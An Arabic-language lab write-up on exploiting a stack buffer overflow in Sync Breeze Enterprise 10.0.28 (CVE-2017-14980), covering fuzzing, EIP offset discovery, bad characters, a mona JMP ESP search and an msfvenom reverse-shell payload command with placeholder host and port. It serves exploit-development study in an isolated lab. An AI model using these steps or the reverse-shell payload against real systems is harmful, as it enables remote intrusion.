CVE-2017-14980

Sync Breeze Enterprise 10.0.28 - بحث تجاوز سعة المخزن المؤقت

الهدف

دراسة ثغرة تجاوز سعة المخزن المؤقت الكلاسيكية القائمة على المكدس في بيئة مختبرية خاضعة للتحكم لأغراض تعليمية.

كان الهدف من هذا المشروع هو فهم أفضل لما يلي:

• تشويش التطبيق (Application Fuzzing)
• تحليل الانهيار
• التحكم في EIP
• تحديد الأحرف غير الصالحة
• إفساد الذاكرة
• مسار تنفيذ الشيلكود
• منهجية تطوير الاستغلال الأساسية

البيئة

• جهاز افتراضي بنظام Windows 10
• Sync Breeze Enterprise 10.0.28
• Immunity Debugger
• Mona.py
• Python

إعداد المختبر

تألفت الخطوة الأولى من تثبيت Sync Breeze Enterprise 10.0.28 داخل جهاز افتراضي بنظام Windows 10 مُهيأ لأغراض البحث عن الثغرات وتطوير الاستغلال.

تم عزل البيئة لضمان اختبار آمن وخاضع للتحكم.

تم تكوين الجهازين الافتراضيين (الهدف والمهاجم) باستخدام وضع محول الشبكة الجسري (Bridged Network Adapter) للسماح بالاتصال الشبكي المباشر بين النظامين أثناء عملية الاستغلال.

عميل Sync Breeze

صفحة تسجيل الدخول إلى Sync Breeze

المنهجية

1. جمع المعلومات

تم تكوين أدوات التصحيح لتحليل سلوك التطبيق أثناء التشغيل ومراقبة ظروف الانهيار.

2. التشويش (Fuzzing)

تم إرسال تسلسلات كبيرة من البايتات إلى التطبيق من أجل تحديد الحجم التقريبي للمخزن المؤقت المطلوب لتحفيز الانهيار.

3. التحقق من الثغرة

بعد تحديد عتبة الانهيار، تم اختبار التطبيق مرة أخرى باستخدام حجم الحمولة المكتشف لتأكيد الثغرة.

4. التحكم في EIP

الإزاحة الدقيقة المطلوبة لاستبدال مؤشر التعليمات (EIP) تم تحديدها.

أنشئ نمطًا فريدًا:

/usr/bin/msf-pattern_create -l <SIZE>

حدد الإزاحة:

/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>

حيث:

• <SIZE> = طول الحمولة المكتشف أثناء التشويش
• <EIP_VALUE> = القيمة الرباعية البايت التي شوهدت تستبدل EIP

لقطة شاشة للتحكم في EIP

5. تحليل الأحرف غير الصالحة

تم تحديد الأحرف غير الصالحة لمعرفة البايتات التي لا يمكن معالجتها بأمان بواسطة التطبيق.

ملف الأحرف غير الصالحة

6. تحديد عنوان الإرجاع

تم تحديد تعليمة JMP ESP مناسبة في وحدة بدون ASLR مفعّلة.

تعداد الوحدات المحملة:

!mona modules

البحث عن JMP ESP:

!mona find -s "\xff\xe4" -m <MODULE_NAME>

أُعطيت الأفضلية لملفات DLL الخاصة بالتطبيق نظرًا لوجود عناوين ذاكرة ثابتة.

لقطة شاشة لـ Mona JMP ESP

7. اختبار التنفيذ

تم التحقق من مسار تنفيذ الحمولة لضمان إعادة التوجيه الصحيحة إلى المخزن المؤقت المُتحكم فيه.

8. توليد الشيلكود

تم توليد الشيلكود مع استبعاد الأحرف غير الصالحة المحددة سابقًا.

msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c

تمت إضافة منزلق NOP (\x90) قبل الشيلكود لتحسين موثوقية تنفيذ الحمولة.

لقطة شاشة لتنفيذ الحمولة

9. تطوير الاستغلال النهائي

تم تجميع الاستغلال النهائي واختباره بنجاح داخل بيئة المختبر المعزولة.

إخلاء مسؤولية

تم تطوير هذا المشروع بدقة لأغراض تعليمية وبحثية داخل بيئة مختبرية معزولة.